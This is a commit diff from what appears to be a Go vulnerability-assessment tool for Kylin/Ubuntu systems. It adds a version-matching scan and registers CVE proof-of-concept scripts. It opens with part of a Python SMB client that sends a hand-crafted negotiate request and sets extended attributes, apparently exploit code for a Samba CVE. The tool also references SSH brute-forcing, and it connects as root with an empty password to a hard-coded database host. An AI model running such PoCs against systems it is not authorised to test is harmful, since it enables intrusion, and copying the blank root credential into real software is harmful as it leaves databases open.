header['uid'] = 65535
|
||||
header['mid'] = 0
|
||||
|
||||
b_header = header.pack()
|
||||
|
||||
neg_req = SMBNegotiateRequest()
|
||||
neg_req['word_count'] = 0
|
||||
neg_req['byte_count'] = 34
|
||||
b_neg_req = neg_req.pack()
|
||||
|
||||
# Add the dialects
|
||||
b_neg_req += b"\x02" + 'NT LM 0.12'.encode('utf-8') + b"\x00"
|
||||
b_neg_req += b"\x02" + 'SMB 2.002'.encode('utf-8') + b"\x00"
|
||||
b_neg_req += b"\x02" + 'SMB 2.???'.encode('utf-8') + b"\x00"
|
||||
|
||||
self.transport.send(b_header + b_neg_req)
|
||||
self.sequence_window['low'] = 1
|
||||
self.sequence_window['high'] = 2
|
||||
while not self.disconnect_called and self.transport.connected:
|
||||
logging.info("[HACK] waiting for disconnect to occur")
|
||||
if not self.transport.connected:
|
||||
raise OSError("No connection to server")
|
||||
return super()._send_smb2_negotiate(dialect, timeout, encryption_algorithms, signing_algorithms)
|
||||
|
||||
|
||||
def set_extended_attributes(file_open: Open, attribute: bytes, value: bytes) -> SMB2SetInfoResponse:
|
||||
"""
|
||||
Set extended attributes for an Open
|
||||
:param file_open: file to set extended attribute
|
||||
:param attribute: name of attribute
|
||||
:param value: attribute value
|
||||
:return: response
|
||||
"""
|
||||
ea_info = FileFullEaInformation()
|
||||
ea_info['ea_name'] = attribute
|
||||
ea_info['ea_value'] = value
|
||||
info_buffer = ea_info
|
||||
set_req = SMB2SetInfoRequest()
|
||||
set_req['info_type'] = info_buffer.INFO_TYPE
|
||||
set_req['file_info_class'] = info_buffer.INFO_CLASS
|
||||
set_req['file_id'] = file_open.file_id
|
||||
set_req['buffer'] = info_buffer
|
||||
tree: TreeConnect = file_open.tree_connect
|
||||
session: Session = tree.session
|
||||
connection: Connection = session.connection
|
||||
request: Request = connection.send(set_req, session.session_id, tree.tree_connect_id)
|
||||
response: SMB2HeaderResponse = connection.receive(request)
|
||||
set_resp = SMB2SetInfoResponse()
|
||||
set_resp.unpack(response['data'].get_value())
|
||||
return set_resp
|
||||
|
||||
|
||||
def delete_file(file_open: Open):
|
||||
"""
|
||||
Delete a file
|
||||
:param file_open: File to delete
|
||||
"""
|
||||
basic_info = FileBasicInformation()
|
||||
basic_info['creation_time'] = 0
|
||||
basic_info['last_access_time'] = 0
|
||||
basic_info['last_write_time'] = 0
|
||||
basic_info['change_time'] = 0
|
||||
basic_info['file_attributes'] = FileAttributes.FILE_ATTRIBUTE_NORMAL
|
||||
set_req = SMB2SetInfoRequest()
|
||||
set_req['info_type'] = basic_info.INFO_TYPE
|
||||
set_req['file_info_class'] = basic_info.INFO_CLASS
|
||||
set_req['file_id'] = file_open.file_id
|
||||
set_req['buffer'] = basic_info
|
||||
tree: TreeConnect = file_open.tree_connect
|
||||
session: Session = tree.session
|
||||
connection: Connection = session.connection
|
||||
request: Request = connection.send(set_req, session.session_id, tree.tree_connect_id)
|
||||
response: SMB2HeaderResponse = connection.receive(request)
|
||||
set_resp = SMB2SetInfoResponse()
|
||||
set_resp.unpack(response['data'].get_value())
|
||||
|
||||
info_buffer = FileDispositionInformation()
|
||||
info_buffer['delete_pending'] = True
|
||||
set_req = SMB2SetInfoRequest()
|
||||
set_req['info_type'] = info_buffer.INFO_TYPE
|
||||
set_req['file_info_class'] = info_buffer.INFO_CLASS
|
||||
set_req['file_id'] = file_open.file_id
|
||||
set_req['buffer'] = info_buffer
|
||||
request: Request = connection.send(set_req, session.session_id, tree.tree_connect_id)
|
||||
response: SMB2HeaderResponse = connection.receive(request)
|
||||
set_resp = SMB2SetInfoResponse()
|
||||
set_resp.unpack(response['data'].get_value())
|
|
@ -28,7 +28,7 @@ SiteInfo:
|
|||
SiteRequests:
|
||||
Implement:
|
||||
ImArray:
|
||||
- Inter :
|
||||
- Inter : bash
|
||||
Exec : CVE-2022-1292.sh
|
||||
Args :
|
||||
ExpireTime: #second
|
||||
|
|
|
@ -7,4 +7,4 @@ ExplorerItems:
|
|||
- ConfigFile: KVE-2022-0207/KVE-2022-0207.yaml
|
||||
- ConfigFile: KVE-2022-0205/KVE-2022-0205.yaml
|
||||
- ConfigFile: CVE-2022-1292/CVE-2022-1292.yaml
|
||||
- ConfigFile: CVE-2021-3156/CVE-2021-3156.yaml
|
||||
- ConfigFile: CVE-2021-44142/CVE-2021-44142.yaml
|
||||
|
|
|
@ -10,6 +10,7 @@ import(
|
|||
"log"
|
||||
"main/genmai"
|
||||
"main/tools/SSHExplosion"
|
||||
"main/tools/FastScan"
|
||||
)
|
||||
|
||||
var Num int
|
||||
|
@ -259,4 +260,12 @@ func FofaApi(Fofa string,fofaCom string){
|
|||
fmt.Println("Fofa模块结束...")
|
||||
}
|
||||
return
|
||||
}
|
||||
|
||||
func SystemFastScan(scan string){
|
||||
if scan =="true"{
|
||||
FastScan.GetdpkgInfo()
|
||||
fmt.Println("版本匹配检测结束...")
|
||||
}
|
||||
return
|
||||
}
|
|
@ -100,88 +100,3 @@ func
|
|||
rc = RC_ERR_FILE_TYPE
|
||||
return rc
|
||||
}
|
||||
|
||||
///////////////////////////////
|
||||
// member functions
|
||||
|
||||
|
||||
////////////////////////////////////////////////////////////////
|
||||
// z-trash
|
||||
////func (ck *ConfigKernel)Map2Struct(maps map[string]interface{}) {
|
||||
//func (ck *ConfigKernel)Map2Struct(maps map[string]string) {
|
||||
// fmt.Println(">>\n")
|
||||
// fmt.Println(maps)
|
||||
// bVal := reflect.ValueOf(ck).Elem()
|
||||
// vVal := reflect.ValueOf(&maps).Elem()
|
||||
// vTypeOfT := vVal.Type()
|
||||
//
|
||||
// for i := 0; i < vVal.NumField(); i++ {
|
||||
// name := vTypeOfT.Field(i).Name
|
||||
// if ok := bVal.FieldByName(name).IsValid(); ok {
|
||||
// bVal.FieldByName(name).Set(reflect.ValueOf(vVal.Field(i).Interface()))
|
||||
// } // if ok := ...
|
||||
// } // for i := 0 ...
|
||||
//
|
||||
// fmt.Printf("%#v", *ck)
|
||||
//}
|
||||
//
|
||||
///*
|
||||
//@func 将map转为Struct
|
||||
//@param
|
||||
// mmap 需要转换的map[string]interface
|
||||
// structure 转换后的结构体指针
|
||||
//@return
|
||||
// error 错误信息
|
||||
//
|
||||
// 暂不支持递归转换
|
||||
//*/
|
||||
//func MapToStruct(mmap map[string]interface{},structure interface{}) (rc error){
|
||||
// defer func() {
|
||||
// if errs := recover(); errs!= nil {
|
||||
// rc = errors.New("调用出错")
|
||||
// }
|
||||
// }()
|
||||
// ptp := reflect.TypeOf(structure)
|
||||
// pv := reflect.ValueOf(structure)
|
||||
// switch ptp.Kind() {
|
||||
// case reflect.Ptr:
|
||||
// if ptp.Elem().Kind() == reflect.Struct {
|
||||
// fmt.Println("sss")
|
||||
// break
|
||||
// }else{
|
||||
// return errors.New("需要*struct类型,却传入*"+ptp.Elem().Kind().String()+"类型")
|
||||
// }
|
||||
// default:
|
||||
// return errors.New("需要*struct类型,却传入"+ptp.Kind().String()+"类型")
|
||||
// }
|
||||
// tp := ptp.Elem()
|
||||
// v := pv.Elem()
|
||||
// num := tp.NumField()
|
||||
// for i := 0 ; i < num ; i++ {
|
||||
// name := tp.Field(i).Name
|
||||
// tag := tp.Field(i).Tag.Get("map")
|
||||
//
|
||||
// //fmt.Println(reflect.TypeOf(tp.Field(i)).Kind())
|
||||
// fmt.Printf("%v\n", tp.Field(i).Tag)
|
||||
// fmt.Printf("%v\n", tp.Field(i).Type)
|
||||
//
|
||||
// if len(tag) != 0 {
|
||||
// name = tag
|
||||
// }
|
||||
// value,ok := mmap[name]
|
||||
// if !ok {
|
||||
// continue
|
||||
// }
|
||||
// //能够设置值,且类型相同
|
||||
// if v.Field(i).CanSet(){
|
||||
// if v.Field(i).Type() == reflect.TypeOf(value){
|
||||
// v.Field(i).Set(reflect.ValueOf(value))
|
||||
// }else{
|
||||
// continue
|
||||
// }
|
||||
// }else {
|
||||
// continue
|
||||
// }
|
||||
// }
|
||||
// return nil
|
||||
//}
|
||||
|
|
|
@ -66,7 +66,6 @@ func
|
|||
func
|
||||
(ek *ExplorerBaseLine)EexcBaseline(execPoc string,
|
||||
args ...string ) string {
|
||||
fmt.Println(execPoc,args)
|
||||
cmd := exec.Command(execPoc,args...)
|
||||
var stdout, stderr bytes.Buffer
|
||||
cmd.Stdout = &stdout // 标准输出
|
||||
|
|
|
@ -167,7 +167,6 @@ func
|
|||
func
|
||||
(es *ExplorerSystem)Explore() (expvul VulnInfoCommon, rc error) {
|
||||
|
||||
|
||||
config, rc_t := es.GetExplorerConfigSystem()
|
||||
rc = rc_t
|
||||
if (nil != rc) {
|
||||
|
@ -179,7 +178,6 @@ func
|
|||
|
||||
///////////////
|
||||
// starting explore
|
||||
|
||||
for _, im := range config.SiteRequests.ImArray {
|
||||
|
||||
rc = es.exploreWithPath(im.Inter,es.ExplorerCommon.EcConfigFilePrefix +
|
||||
|
|
|
@ -29,7 +29,7 @@
|
|||
package Sandbox
|
||||
|
||||
import (
|
||||
// "fmt"
|
||||
"fmt"
|
||||
"os/exec"
|
||||
"bufio"
|
||||
"errors"
|
||||
|
@ -73,10 +73,13 @@ func
|
|||
// cmd := exec.Command(execpoc,args...)
|
||||
}else{
|
||||
cname = interpreter
|
||||
arry = append(args,execpoc)
|
||||
arry = append(arry,execpoc)
|
||||
arry = append(arry,args...)
|
||||
fmt.Println(arry)
|
||||
// cmd := exec.Command(interpreter,arry...)
|
||||
}
|
||||
cmd := exec.Command(cname,arry...)
|
||||
fmt.Println(cmd)
|
||||
///////////////////////////////
|
||||
// build reader, writer
|
||||
stdin, rc := cmd.StdinPipe()
|
||||
|
|
|
@ -3,6 +3,7 @@ module main
|
|||
go 1.17
|
||||
|
||||
require (
|
||||
github.com/go-sql-driver/mysql v1.7.0
|
||||
github.com/google/uuid v1.3.0
|
||||
github.com/jesseduffield/gocui v0.3.0
|
||||
github.com/patrickmn/go-cache v2.1.0+incompatible
|
||||
|
|
|
@ -1,3 +1,5 @@
|
|||
github.com/go-sql-driver/mysql v1.7.0 h1:ueSltNNllEqE3qcWBTD0iQd3IpL/6U+mJxLkazJ7YPc=
|
||||
github.com/go-sql-driver/mysql v1.7.0/go.mod h1:OXbVy3sEdcQ2Doequ6Z5BW6fXNQTmx+9S1MCJN5yJMI=
|
||||
github.com/google/uuid v1.3.0 h1:t6JiXgmwXMjEs8VusXIJk2BXHsn+wx8BZdTaoZ5fu7I=
|
||||
github.com/google/uuid v1.3.0/go.mod h1:TIyPZe4MgqvfeYDBFedMoGGpEw/LqOeaOT+nhxU+yHo=
|
||||
github.com/jesseduffield/gocui v0.3.0 h1:l7wH8MKR2p+ozuZdtdhQiX7szILbv50vkMk1tg2+xow=
|
||||
|
|
|
@ -29,6 +29,7 @@ type Vul struct{
|
|||
SSHBurst string //SSH爆破
|
||||
Nmap string //Nmap模块,端口和IP放在RAVUL中
|
||||
Fofa string //fofa接口调用,需要输入查询命令
|
||||
FastScan string //快速扫描模式/版本匹配
|
||||
}
|
||||
|
||||
type FofaCommand struct{
|
||||
|
@ -115,6 +116,9 @@ func main(){
|
|||
// Fofa模块
|
||||
Fofa:=flag.Bool("Fofa",false,"Fofa探测,必用参数FofaCom")
|
||||
flag.StringVar(&FC.FofaCom, "fofaCom", "null", "设置特定公司名")
|
||||
|
||||
//版本匹配,快速扫描
|
||||
FastScan := flag.Bool("FastScan", false, "使用远程检测,只能单独使用模块")
|
||||
|
||||
//
|
||||
All := flag.Bool("all", false, "只扫描system,kernel的所有poc以及检测baselin模块,不可联合其他参数使用")
|
||||
|
@ -139,6 +143,8 @@ func main(){
|
|||
vul.SSHBurst =strconv.FormatBool(*SSHB)
|
||||
vul.Nmap = strconv.FormatBool(*NmapScan)
|
||||
vul.Fofa = strconv.FormatBool(*Fofa)
|
||||
vul.FastScan = strconv.FormatBool(*FastScan)
|
||||
|
||||
|
||||
//是否开启远程检测
|
||||
if vul.RemoteAssessment=="true"{
|
||||
|
@ -156,6 +162,7 @@ func main(){
|
|||
ArgParser.SSHBurst(vul.SSHBurst,SSHBurstList[:])
|
||||
ArgParser.NmapScan(vul.Nmap, NmapScanList[:])
|
||||
ArgParser.FofaApi(vul.Fofa,FC.FofaCom)
|
||||
ArgParser.SystemFastScan(vul.FastScan)
|
||||
ArgParser.ParameterParser(vul.System,vul.Kernel,vul.Web,vul.BaseLine,sAll,vul.PoolStatNum,vul.ParserNum,vul.Update,vul.IP,help)
|
||||
}
|
||||
return
|
||||
|
|
|
@ -0,0 +1,4 @@
|
|||
smbprotocol==1.9.0
|
||||
requests==2.28.1
|
||||
dbus-python==1.2.16
|
||||
simplejson==3.16.0
|
|
@ -0,0 +1,195 @@
|
|||
// 操作系统漏洞快扫模式目前展示在内部使用
|
||||
|
||||
package FastScan
|
||||
|
||||
import (
|
||||
_ "github.com/go-sql-driver/mysql"
|
||||
"database/sql"
|
||||
"fmt"
|
||||
"strings"
|
||||
"bytes"
|
||||
"os/exec"
|
||||
// "reflect"
|
||||
)
|
||||
|
||||
var (
|
||||
dbhostsip = "172.17.20.121:3306"
|
||||
dbusername = "root"
|
||||
dbpassword = ""
|
||||
dbname = "kylincve"
|
||||
)
|
||||
|
||||
func checkerr(err error){
|
||||
if err!=nil{
|
||||
fmt.Println(err)
|
||||
return
|
||||
}
|
||||
|
||||
}
|
||||
|
||||
var (
|
||||
version0 = 0
|
||||
version1 = 1
|
||||
version2 = 2
|
||||
)
|
||||
func StrTrimSpace(v1str,v2str string )(v1,v2 string ){
|
||||
v1=strings.TrimSpace(v1str)
|
||||
v2=strings.TrimSpace(v2str)
|
||||
return
|
||||
}
|
||||
func comparSlice(v1slice,v2slice []string )int{
|
||||
for index,_ :=range v1slice{
|
||||
if v1slice[index] > v2slice[index]{
|
||||
return version1
|
||||
}
|
||||
if v1slice[index] < v2slice[index]{
|
||||
return version2
|
||||
}
|
||||
if len(v1slice)-1 == index {
|
||||
return version0
|
||||
}
|
||||
}
|
||||
return version0
|
||||
}
|
||||
|
||||
func comparSlice1(v1slice,v2slice []string,flas int )int{
|
||||
for index,_ :=range v1slice{
|
||||
//按照正常逻辑v1slice 长度小
|
||||
if v1slice[index] > v2slice[index]{
|
||||
if flas == 2{
|
||||
return version2
|
||||
}
|
||||
return version1
|
||||
|
||||
}
|
||||
if v1slice[index] < v2slice[index]{
|
||||
if flas == 2{
|
||||
return version1
|
||||
}
|
||||
return version2
|
||||
}
|
||||
if len(v1slice)-1 == index {
|
||||
if flas == 2{
|
||||
return version1
|
||||
}else if flas == 1{
|
||||
return version2
|
||||
}
|
||||
}
|
||||
}
|
||||
return version0
|
||||
}
|
||||
|
||||
func compareStrVer(v1,v2 string)(res int ){
|
||||
s1, s2 := StrTrimSpace(v1, v2)
|
||||
v1slice := strings.Split(s1,".")
|
||||
v2slice := strings.Split(s2,".")
|
||||
//长度不相等直接退出
|
||||
if len(v1slice) != len(v2slice){
|
||||
if len(v1slice) > len(v2slice){
|
||||
res=comparSlice1(v2slice,v1slice,2)
|
||||
return res
|
||||
}else{
|
||||
res=comparSlice1(v1slice,v2slice,1)
|
||||
return res
|
||||
}
|
||||
}else{
|
||||
res = comparSlice(v1slice, v2slice)
|
||||
}
|
||||
return res
|
||||
|
||||
}
|
||||
|
||||
|
||||
func fastScan(dpkgInfo []string){
|
||||
dbinfo := strings.Join([]string{dbusername, ":", dbpassword, "@tcp(", dbhostsip, ")/", dbname, "?charset=utf8"}, "")
|
||||
db,err:=sql.Open("mysql",dbinfo)
|
||||
checkerr(err)
|
||||
// 设置最大连接数
|
||||
db.SetConnMaxLifetime(100)
|
||||
// 设置数据库最大的闲置连接数
|
||||
db.SetMaxIdleConns(10)
|
||||
|
||||
//>>>dbInfo
|
||||
type info struct {
|
||||
id int `db:"id"`
|
||||
cve_no string `db: "cve_no"`
|
||||
role_level string `db: "role_level"`
|
||||
ubuntu_v4_status string `db: "ubuntu_v4_status"`
|
||||
version_v4_status string `db: "version_v4_status"`
|
||||
ubuntu_v4_edition string `db: "ubuntu_v4_edition"`
|
||||
kylin_v4_edition string `db: "kylin_v4_edition"`
|
||||
ubuntu_v10_status string `db: "ubuntu_v10_status"`
|
||||
version_v10_status string `db: "version_v10_status"`
|
||||
ubuntu_v10_edition string `db: "ubuntu_v10_edition"`
|
||||
kylin_v10_edition string `db: "kylin_v10_edition"`
|
||||
ubuntu_v10_1_status string `db: "ubuntu_v10_1_status"`
|
||||
version_v10_1_status string `db: "version_v10_1_status"`
|
||||
ubuntu_v10_1_edition string `db: "ubuntu_v10_1_edition"`
|
||||
kylin_v10_1_edition string `db: "kylin_v10_1_edition"`
|
||||
version_ubuntu_kylin_status string `db: "version_ubuntu_kylin_status"`
|
||||
ubuntu_kylin_edition string `db: "ubuntu_kylin_edition"`
|
||||
package_name string `db: "package_name"`
|
||||
publish_status string `db: "publish_status"`
|
||||
date string `db: "date"`
|
||||
}
|
||||
|
||||
//预编译处理查询数据防止sql注入
|
||||
sqlStr :="SELECT * FROM kvsp_cvelist where package_name = ?"
|
||||
stmt, err := db.Prepare(sqlStr)
|
||||
checkerr(err)
|
||||
defer stmt.Close()
|
||||
for i:=0;i<len(dpkgInfo);i++{
|
||||
if i & 1 == 0 {
|
||||
rows, err := stmt.Query(dpkgInfo[i])
|
||||
checkerr(err)
|
||||
for rows.Next(){
|
||||
var s info
|
||||
err = rows.Scan(&s.id,&s.cve_no,&s.role_level,&s.ubuntu_v4_status,&s.version_v4_status,&s.ubuntu_v4_edition,&s.kylin_v4_edition,&s.ubuntu_v10_status,&s.version_v10_status,&s.ubuntu_v10_edition,&s.kylin_v10_edition,&s.ubuntu_v10_1_status,&s.version_v10_1_status,&s.ubuntu_v10_1_edition,&s.kylin_v10_1_edition,&s.version_ubuntu_kylin_status,&s.ubuntu_kylin_edition,&s.package_name,&s.publish_status ,&s.date)
|
||||
checkerr(err)
|
||||
dpkgInfoStr:=dpkgInfo[i+1]
|
||||
result:=PushCompareVersion(s.cve_no,dpkgInfoStr,s.ubuntu_v10_1_edition)
|
||||
if result==2{
|
||||
fmt.Println("ID:",s.id,"NO:",s.cve_no,"Role:",s.role_level,"Security_Version:",s.ubuntu_v10_1_edition,"Current_Version:",dpkgInfoStr)
|
||||
}
|
||||
}
|
||||
rows.Close()
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
|
||||
//Push will Compare system package version
|
||||
func PushCompareVersion(cve_no string,dpkgInfoStr string,ubuntu_v10_1_edition string)(result int){
|
||||
if len(ubuntu_v10_1_edition)<2 {
|
||||
return
|
||||
}else{
|
||||
v1 := strings.ReplaceAll(dpkgInfoStr, "ubuntu", ".")
|
||||
v1 = strings.ReplaceAll(dpkgInfoStr, "kylin", ".")
|
||||
v2 := strings.ReplaceAll(ubuntu_v10_1_edition, "ubuntu", ".")
|
||||
v2 = strings.ReplaceAll(ubuntu_v10_1_edition, "kylin", ".")
|
||||
result=compareStrVer(v1,v2)
|
||||
return result
|
||||
|
||||
}
|
||||
}
|
||||
|
||||
func GetdpkgInfo(){
|
||||
cmdStr:="dpkg -l|awk '{print $2,$3}'"
|
||||
cmd := exec.Command("/bin/bash", "-c", cmdStr)
|
||||
var stdout, stderr bytes.Buffer
|
||||
cmd.Stdout = &stdout // 标准输出
|
||||
cmd.Stderr = &stderr // 标准错误
|
||||
err := cmd.Run()
|
||||
outStr, errStr := string(stdout.Bytes()), string(stderr.Bytes())
|
||||
if len(errStr)!=0{
|
||||
fmt.Printf(errStr)
|
||||
}
|
||||
outStr=strings.TrimSpace(outStr)
|
||||
if err != nil {
|
||||
fmt.Println("cmd.Run() failed with %s\n", errStr)
|
||||
}
|
||||
dpkgInfo := strings.Fields(outStr)
|
||||
dpkgInfo = append(dpkgInfo[5:])
|
||||
fastScan(dpkgInfo)
|
||||
|
||||
}
|
|
@ -1,3 +0,0 @@
|
|||
// 操作系统漏洞快扫模式目前展示在内部使用
|
||||
|
||||
package FastScan
|
Loading…
Reference in New Issue